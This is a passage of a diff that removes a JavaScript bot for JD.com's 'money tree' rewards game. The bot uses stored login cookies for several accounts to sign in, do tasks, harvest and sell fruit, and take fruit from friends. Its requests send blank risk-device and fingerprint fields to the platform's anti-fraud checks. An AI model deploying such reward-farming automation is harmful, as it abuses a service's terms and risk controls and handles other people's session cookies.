require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', allMsg = ``; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -let jdNotify = true;//是否开启静默运行,默认true -let sellFruit = true;//是否卖出金果得到金币,默认'false' -const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m'; -let userInfo = null, taskInfo = [], message = '', subTitle = '', fruitTotal = 0; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - message = ''; - subTitle = ''; - await jd_moneyTree(); - } - } - if (allMsg) { - jdNotify = $.isNode() ? (process.env.MONEYTREE_NOTIFY_CONTROL ? process.env.MONEYTREE_NOTIFY_CONTROL : jdNotify) : ($.getdata('jdMoneyTreeNotify') ? $.getdata('jdMoneyTreeNotify') : jdNotify); - if (!jdNotify || jdNotify === 'false') { - if ($.isNode()) await notify.sendNotify($.name, allMsg); - $.msg($.name, '', allMsg) - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jd_moneyTree() { - try { - const userRes = await user_info(); - if (!userRes || !userRes.realName) return - await signEveryDay(); - await dayWork(); - await harvest(); - await sell(); - await myWealth(); - await stealFriendFruit() - - $.log(`\n${message}\n`); - } catch (e) { - $.logErr(e) - } -} - -function user_info() { - console.log('初始化摇钱树个人信息'); - const params = { - "sharePin": "", - "shareType": 1, - "channelLV": "", - "source": 2, - "riskDeviceParam": { - "eid": "", - "fp": "", - "sdkToken": "", - "token": "", - "jstub": "", - "appType": "2", - } - } - params.riskDeviceParam = JSON.stringify(params.riskDeviceParam); - // await $.wait(5000); //歇口气儿, 不然会报操作频繁 - return new Promise((resolve, reject) => { - $.post(taskurl('login', params), async (err, resp, data) => { - try { - if (err) { - console.log("\n摇钱树京东API请求失败 ‼️‼️") - console.log(JSON.stringify(err)); - } else { - if (data) { - const res = JSON.parse(data); - if (res && res.resultCode === 0) { - $.isLogin = true; - console.log('resultCode为0') - if (res.resultData.data) { - userInfo = res.resultData.data; - // userInfo.realName = null; - if (userInfo.realName) { - // console.log(`助力码sharePin为::${userInfo.sharePin}`); - $.treeMsgTime = userInfo.sharePin; - subTitle = `【${userInfo.nick}】${userInfo.treeInfo.treeName}`; - // message += `【我的金果数量】${userInfo.treeInfo.fruit}\n`; - // message += `【我的金币数量】${userInfo.treeInfo.coin}\n`; - // message += `【距离${userInfo.treeInfo.level + 1}级摇钱树还差】${userInfo.treeInfo.progressLeft}\n`; - } else { - $.log(`京东账号${$.index}${$.UserName}运行失败\n此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证`) - // $.msg($.name, `【提示】京东账号${$.index}${$.UserName}运行失败`, '此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证', {"open-url": "openApp.jdMobile://"}); - } - } - } else { - console.log(`其他情况::${JSON.stringify(res)}`); - } - } else { - console.log(`京豆api返回数据为空,请检查自身原因`) - } - } - } catch (eor) { - $.logErr(eor, err) - } finally { - resolve(userInfo) - } - }) - }) -} - -function dayWork() { - console.log(`开始做任务userInfo了\n`) - return new Promise(async resolve => { - const data = { - "source": 0, - "linkMissionIds": ["666", "667"], - "LinkMissionIdValues": [7, 7], - "riskDeviceParam": { - "eid": "", - "dt": "", - "ma": "", - "im": "", - "os": "", - "osv": "", - "ip": "", - "apid": "", - "ia": "", - "uu": "", - "cv": "", - "nt": "", - "at": "1", - "fp": "", - "token": "" - } - }; - let response = await request('dayWork', data); - // console.log(`获取任务的信息:${JSON.stringify(response)}\n`) - let canTask = []; - taskInfo = []; - if (response && response.resultCode === 0) { - if (response.resultData.code === '200') { - response.resultData.data.map((item) => { - if (item.prizeType === 2) { - canTask.push(item); - } - if (item.workType === 7 && item.prizeType === 0) { - // missionId.push(item.mid); - taskInfo.push(item); - } - // if (item.workType === 7 && item.prizeType === 0) { - // missionId2 = item.mid; - // } - }) - } - } - console.log(`canTask::${JSON.stringify(canTask)}\n`) - console.log(`浏览任务列表taskInfo::${JSON.stringify(taskInfo)}\n`) - for (let item of canTask) { - if (item.workType === 1) { - // 签到任务 - // let signRes = await sign(); - // console.log(`签到结果:${JSON.stringify(signRes)}`); - if (item.workStatus === 0) { - // const data = {"source":2,"workType":1,"opType":2}; - // let signRes = await request('doWork', data); - let signRes = await sign(); - console.log(`三餐签到结果:${JSON.stringify(signRes)}`); - } else if (item.workStatus === 2) { - console.log(`三餐签到任务已经做过`) - } else if (item.workStatus === -1) { - console.log(`三餐签到任务不在时间范围内`) - } - } else if (item.workType === 2) { - // 分享任务 - if (item.workStatus === 0) { - // share(); - const data = { "source": 0, "workType": 2, "opType": 1 }; - //开始分享 - // let shareRes = await request('doWork', data); - let shareRes = await share(data); - console.log(`开始分享的动作:${JSON.stringify(shareRes)}`); - const b = { "source": 0, "workType": 2, "opType": 2 }; - // let shareResJL = await request('doWork', b); - let shareResJL = await share(b); - console.log(`领取分享后的奖励:${JSON.stringify(shareResJL)}`) - } else if (item.workStatus === 2) { - console.log(`分享任务已经做过`) - } - } - } - for (let task of taskInfo) { - if (task.mid && task.workStatus === 0) { - console.log('开始做浏览任务'); - // yield setUserLinkStatus(task.mid); - let aa = await setUserLinkStatus(task.mid); - console.log(`aaa${JSON.stringify(aa)}`); - } else if (task.mid && task.workStatus === 1) { - console.log(`workStatus === 1开始领取浏览后的奖励:mid:${task.mid}`); - let receiveAwardRes = await receiveAward(task.mid); - console.log(`领取浏览任务奖励成功:${JSON.stringify(receiveAwardRes)}`) - } else if (task.mid && task.workStatus === 2) { - console.log('所有的浏览任务都做完了') - } - } - resolve(); - }); -} - -function harvest() { - if (!userInfo) return - const data = { - "source": 2, - "sharePin": "", - "userId": userInfo.userInfo, - "userToken": userInfo.userToken, - "shareType": 1, - "channel": "", - "riskDeviceParam": { - "eid": "", - "appType": 2, - "fp": "", - "jstub": "", - "sdkToken": "", - "token": "" - } - } - data.riskDeviceParam = JSON.stringify(data.riskDeviceParam); - return new Promise((rs, rj) => { - request('harvest', data).then((harvestRes) => { - if (harvestRes && harvestRes.resultCode === 0 && harvestRes.resultData.code === '200') { - console.log(`\n收获金果成功:${JSON.stringify(harvestRes)}\n`) - let data = harvestRes.resultData.data; - message += `【距离${data.treeInfo.level + 1}级摇钱树还差】${data.treeInfo.progressLeft}\n`; - fruitTotal = data.treeInfo.fruit; - } else { - console.log(`\n收获金果异常:${JSON.stringify(harvestRes)}`) - } - rs() - // gen.next(); - }) - }) - // request('harvest', data).then((harvestRes) => { - // if (harvestRes.resultCode === 0 && harvestRes.resultData.code === '200') { - // let data = harvestRes.resultData.data; - // message += `【距离${data.treeInfo.level + 1}级摇钱树还差】${data.treeInfo.progressLeft}\n`; - // fruitTotal = data.treeInfo.fruit; - // gen.next(); - // } - // }) -} - -//卖出金果,得到金币 -function sell() { - return new Promise((rs, rj) => { - const params = { - "source": 2, - "jtCount": 7.000000000000001, - "riskDeviceParam": { - "eid": "", - "fp": "", - "sdkToken": "", - "token": "", - "jstub": "", - "appType": 2, - } - } - params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) - console.log(`目前金果数量${fruitTotal}`) - sellFruit = $.isNode() ? (process.env.MONEY_TREE_SELL_FRUIT ? process.env.MONEY_TREE_SELL_FRUIT : `${sellFruit}`) : ($.getdata('MONEY_TREE_SELL_FRUIT') ? $.getdata('MONEY_TREE_SELL_FRUIT') : `${sellFruit}`); - if (sellFruit && sellFruit === 'false') { - console.log(`\n设置的不卖出金果\n`) - rs() - return - } - if (fruitTotal >= 8000 * 7) { - if (userInfo['jtRest'] === 0) { - console.log(`\n今日已卖出5.6万金果(已达上限),获得0.07金贴\n`) - rs() - return - } - request('sell', params).then((sellRes) => { - if (sellRes && sellRes['resultCode'] === 0) { - if (sellRes['resultData']['code'] === '200') { - if (sellRes['resultData']['data']['sell'] === 0) { - console.log(`卖出金果成功,获得0.07金贴\n`); - allMsg += `账号${$.index}:${$.nickName || $.UserName}\n今日成功卖出5.6万金果,获得0.07金贴${$.index !== cookiesArr.length ? '\n\n' : ''}` - } else { - console.log(`卖出金果失败:${JSON.stringify(sellRes)}\n`) - } - } - } - rs() - }) - } else { - console.log(`当前金果数量不够兑换 0.07金贴\n`); - rs() - } - // request('sell', params).then(response => { - // rs(response); - // }) - }) - // request('sell', params).then((sellRes) => { - // console.log(`卖出金果结果:${JSON.stringify(sellRes)}\n`) - // gen.next(); - // }) -} - -//获取金币和金果数量 -function myWealth() { - return new Promise((resolve) => { - const params = { - "source": 2, - "riskDeviceParam": { - "eid": "", - "dt": "", - "ma": "", - "im": "", - "os": "", - "osv": "", - "ip": "", - "apid": "", - "ia": "", - "uu": "", - "cv": "", - "nt": "", - "at": "1", - "fp": "", - "token": "" - } - } - params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) - request('myWealth', params).then(res => { - if (res && res.resultCode === 0 && res.resultData.code === '200') { - console.log(`金贴和金果数量::${JSON.stringify(res)}`); - message += `【我的金果数量】${res.resultData.data.gaAmount}\n`; - message += `【我的金贴数量】${res.resultData.data.gcAmount / 100}\n`; - } - resolve(); - }) - }); -} - -function sign() { - console.log('开始三餐签到') - const data = { "source": 2, "workType": 1, "opType": 2 }; - return new Promise((rs, rj) => { - request('doWork', data).then(response => { - rs(response); - }) - }) -} - -function signIndex() { - const params = { - "source": 0, - "riskDeviceParam": { - "eid": "", - "dt": "", - "ma": "", - "im": "", - "os": "", - "osv": "", - "ip": "", - "apid": "", - "ia": "", - "uu": "", - "cv": "", - "nt": "", - "at": "1", - "fp": "", - "token": "" - } - } - return new Promise((rs, rj) => { - request('signIndex', params).then(response => { - rs(response); - }) - }) -} - -function signEveryDay() { - return new Promise(async (resolve) => { - try { - let signIndexRes = await signIndex(); - if (signIndexRes.resultCode === 0) { - console.log(`每日签到条件查询:${signIndexRes.resultData.data.canSign === 2 ? '可以签到' : '已经签到过了'}`); - if (signIndexRes.resultData && signIndexRes.resultData.data.canSign == 2) { - console.log('准备每日签到') - let signOneRes = await signOne(signIndexRes.resultData.data.signDay); - console.log(`第${signIndexRes.resultData.data.signDay}日签到结果:${JSON.stringify(signOneRes)}`); - if (signIndexRes.resultData.data.signDay === 7) { - let getSignAwardRes = await getSignAward(); - console.log(`店铺券(49-10)领取结果:${JSON.stringify(getSignAwardRes)}`) - if (getSignAwardRes.resultCode === 0 && getSignAwardRes.data.code === 0) { - message += `【7日签到奖励领取】${getSignAwardRes.datamessage}\n` - } - } - } - } - } catch (e) { - $.logErr(e); - } finally { - resolve() - } - }) -} - -function signOne(signDay) { - const params = { - "source": 0, - "signDay": signDay, - "riskDeviceParam": { - "eid": "", - "dt": "", - "ma": "", - "im": "", - "os": "", - "osv": "", - "ip": "", - "apid": "", - "ia": "", - "uu": "", - "cv": "", - "nt": "", - "at": "1", - "fp": "", - "token": "" - } - } - return new Promise((rs, rj) => { - request('signOne', params).then(response => { - rs(response); - }) - }) -} - -// 领取七日签到后的奖励(店铺优惠券) -function getSignAward() { - const params = { - "source": 2, - "awardType": 2, - "deviceRiskParam": 1, - "riskDeviceParam": { - "eid": "", - "dt": "", - "ma": "", - "im": "", - "os": "", - "osv": "", - "ip": "", - "apid": "", - "ia": "", - "uu": "", - "cv": "", - "nt": "", - "at": "1", - "fp": "", - "token": "" - } - } - return new Promise((rs, rj) => { - request('getSignAward', params).then(response => { - rs(response); - }) - }) -} - -// 浏览任务 -async function setUserLinkStatus(missionId) { - let index = 0; - do { - const params = { - "missionId": missionId, - "pushStatus": 1, - "keyValue": index, - "riskDeviceParam": { - "eid": "", - "dt": "", - "ma": "", - "im": "", - "os": "", - "osv": "", - "ip": "", - "apid": "", - "ia": "", - "uu": "", - "cv": "", - "nt": "", - "at": "1", - "fp": "", - "token": "" - } - } - let response = await request('setUserLinkStatus', params) - console.log(`missionId为${missionId}::第${index + 1}次浏览活动完成: ${JSON.stringify(response)}`); - // if (resultCode === 0) { - // let sportRevardResult = await getSportReward(); - // console.log(`领取遛狗奖励完成: ${JSON.stringify(sportRevardResult)}`); - // } - index++; - } while (index < 7) //不知道结束的条件,目前写死循环7次吧 - console.log('浏览店铺任务结束'); - console.log('开始领取浏览后的奖励'); - let receiveAwardRes = await receiveAward(missionId); - console.log(`领取浏览任务奖励成功:${JSON.stringify(receiveAwardRes)}`) - return new Promise((resolve, reject) => { - resolve(receiveAwardRes); - }) - // gen.next(); -} - -// 领取浏览后的奖励 -function receiveAward(mid) { - if (!mid) return - mid = mid + ""; - const params = { - "source": 0, - "workType": 7, - "opType": 2, - "mid": mid, - "riskDeviceParam": { - "eid": "", - "dt": "", - "ma": "", - "im": "", - "os": "", - "osv": "", - "ip": "", - "apid": "", - "ia": "", - "uu": "", - "cv": "", - "nt": "", - "at": "1", - "fp": "", - "token": "" - } - } - return new Promise((rs, rj) => { - request('doWork', params).then(response => { - rs(response); - }) - }) -} - -function share(data) { - if (data.opType === 1) { - console.log(`开始做分享任务\n`) - } else { - console.log(`开始做领取分享后的奖励\n`) - } - return new Promise((rs, rj) => { - request('doWork', data).then(response => { - rs(response); - }) - }) -} - -async function stealFriendFruit() { - await friendRank(); - if ($.friendRankList && $.friendRankList.length > 0) { - const canSteal = $.friendRankList.some((item) => { - const boxShareCode = item.steal - return (boxShareCode === true); - }); - if (canSteal) { - $.amount = 0; - for (let item of $.friendRankList) { - if (!item.self && item.steal) { - await friendTreeRoom(item.encryPin); - const stealFruitRes = await stealFruit(item.encryPin, $.friendTree.stoleInfo); - if (stealFruitRes && stealFruitRes.resultCode === 0 && stealFruitRes.resultData.code === '200') { - $.amount += stealFruitRes.resultData.data.amount; - } - } - } - message += `【偷取好友金果】共${$.amount}个\n`; - } else { - console.log(`今日已偷过好友的金果了,暂无好友可偷,请明天再来\n`) - } - } else { - console.log(`您暂无好友,故跳过`); - } -} - -//获取好友列表API -async function friendRank() { - await $.wait(1000); //歇口气儿, 不然会报操作频繁 - const params = { - "source": 2, - "riskDeviceParam": { - "eid": "", - "dt": "", - "ma": "", - "im": "", - "os": "", - "osv": "", - "ip": "", - "apid": "", - "ia": "", - "uu": "", - "cv": "", - "nt": "", - "at": "1", - "fp": "", - "token": "" - } - } - params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) - return new Promise((resolve, reject) => { - $.post(taskurl('friendRank', params), (err, resp, data) => { - try { - if (err) { - console.log("\n摇钱树京东API请求失败 ‼️‼️"); - console.log(JSON.stringify(err)); - $.logErr(err); - } else { - if (data) { - data = JSON.parse(data); - $.friendRankList = data.resultData.data; - } else { - console.log(`京豆api返回数据为空,请检查自身原因`) - } - } - } catch (eor) { - $.logErr(eor, err) - } finally { - resolve() - } - }) - }) -} - -// 进入好友房间API -async function friendTreeRoom(friendPin) { - await $.wait(1000); //歇口气儿, 不然会报操作频繁 - const params = { - "source": 2, - "friendPin": friendPin, - "riskDeviceParam": { - "eid": "", - "dt": "", - "ma": "", - "im": "", - "os": "", - "osv": "", - "ip": "", - "apid": "", - "ia": "", - "uu": "", - "cv": "", - "nt": "", - "at": "1", - "fp": "", - "token": "" - } - } - params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) - return new Promise((resolve, reject) => { - $.post(taskurl('friendTree', params), (err, resp, data) => { - try { - if (err) { - console.log("\n摇钱树京东API请求失败 ‼️‼️"); - console.log(JSON.stringify(err)); - $.logErr(err); - } else { - if (data) { - data = JSON.parse(data); - $.friendTree = data.resultData.data; - } else { - console.log(`京豆api返回数据为空,请检查自身原因`) - } - } - } catch (eor) { - $.logErr(eor, err) - } finally { - resolve() - } - }) - }) -} - -//偷好友金果API -async function stealFruit(friendPin, stoleId) { - await $.wait(1000); //歇口气儿, 不然会报操作频繁 - const params = { - "source": 2, - "friendPin": friendPin, - "stoleId": stoleId, - "riskDeviceParam": { - "eid": "", - "dt": "", - "ma": "", - "im": "", - "os": "", - "osv": "", - "ip": "", - "apid": "", - "ia": "", - "uu": "", - "cv": "", - "nt": "", - "at": "1", - "fp": "", - "token": "" - } - } - params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) - return new Promise((resolve, reject) => { - $.post(taskurl('stealFruit', params), (err, resp, data) => { - try { - if (err) { - console.log("\n摇钱树京东API请求失败 ‼️‼️"); - console.log(JSON.stringify(err)); - $.logErr(err); - } else { - if (data) { - data = JSON.parse(data); - } else { - console.log(`京豆api返回数据为空,请检查自身原因`) - } - } - } catch (eor) { - $.logErr(eor, err) - } finally { - resolve(data) - } - }) - }) -} - - -async function request(function_id, body = {}) { - await $.wait(1000); //歇口气儿, 不然会报操作频繁 - return new Promise((resolve, reject) => { - $.post(taskurl(function_id, body), (err, resp, data) => { - try { - if (err) { - console.log("\n摇钱树京东API请求失败 ‼️‼️"); - console.log(JSON.stringify(err)); - $.logErr(err); - } else { - if (data) { - data = JSON.parse(data); - } else { - console.log(`京豆api返回数据为空,请检查自身原因`) - } - } - } catch (eor) { - $.msg("摇钱树-初始化个人信息" + eor.name + "‼️", JSON.stringify(eor), eor.message) - } finally { - resolve(data) - } - }) - }) -} - -function taskurl(function_id, body) { - return { - url: JD_API_HOST + '/' + function_id + '?_=' + new Date().getTime() * 1000, - body: `reqData=${function_id === 'harvest' || function_id === 'login' || function_id === 'signIndex' || function_id === 'signOne' || function_id === 'setUserLinkStatus' || function_id === 'dayWork' || function_id === 'getSignAward' || function_id === 'sell' || function_id === 'friendRank' || function_id === 'friendTree' || function_id === 'stealFruit' ? encodeURIComponent(JSON.stringify(body)) : JSON.stringify(body)}`, - headers: { - 'Accept': `application/json`, - 'Origin': `https://uua.jr.jd.com`, - 'Accept-Encoding': `gzip, deflate, br`, - 'Cookie': cookie, - 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`, - 'Host': `ms.jr.jd.com`, - 'Connection': `keep-alive`, - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Referer': `https://uua.jr.jd.com/uc-fe-wxgrowing/moneytree/index`, - 'Accept-Language': `zh-cn` - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - Host: "me-api.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} - - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 